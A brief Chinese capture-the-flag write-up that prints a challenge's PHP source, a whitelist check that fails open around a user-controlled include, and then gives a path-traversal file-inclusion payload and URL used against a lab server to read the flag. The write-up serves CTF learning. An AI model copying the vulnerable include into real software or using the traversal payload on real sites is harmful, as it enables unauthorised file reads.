大佬wp超详细!!!!看大佬的wp吧!!!!
打开页面就是这个表情,emm.....,然后查看源代码 发现source.php
接着访问source.php 发现了php代码,开始代码审计
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
emm...... 这个代码的解析还是看大佬的wp吧,再次附上大佬的wp!!!
PHP代码中还提到了一个hint.php,访问hint.php试试看
flag不在这里,在ffffllllaaaagggg里
然后使用 file:// 伪协议
payload: ?file=hint?/../../../../ffffllllaaaagggg
ffffllllaaaagggg就是提示要上翻四层目录
http://111.200.241.244:61929/source.php/?file=hint.php?/../../../../ffffllllaaaagggg
得到flag
[ 。。。不是很懂代码。。。 ]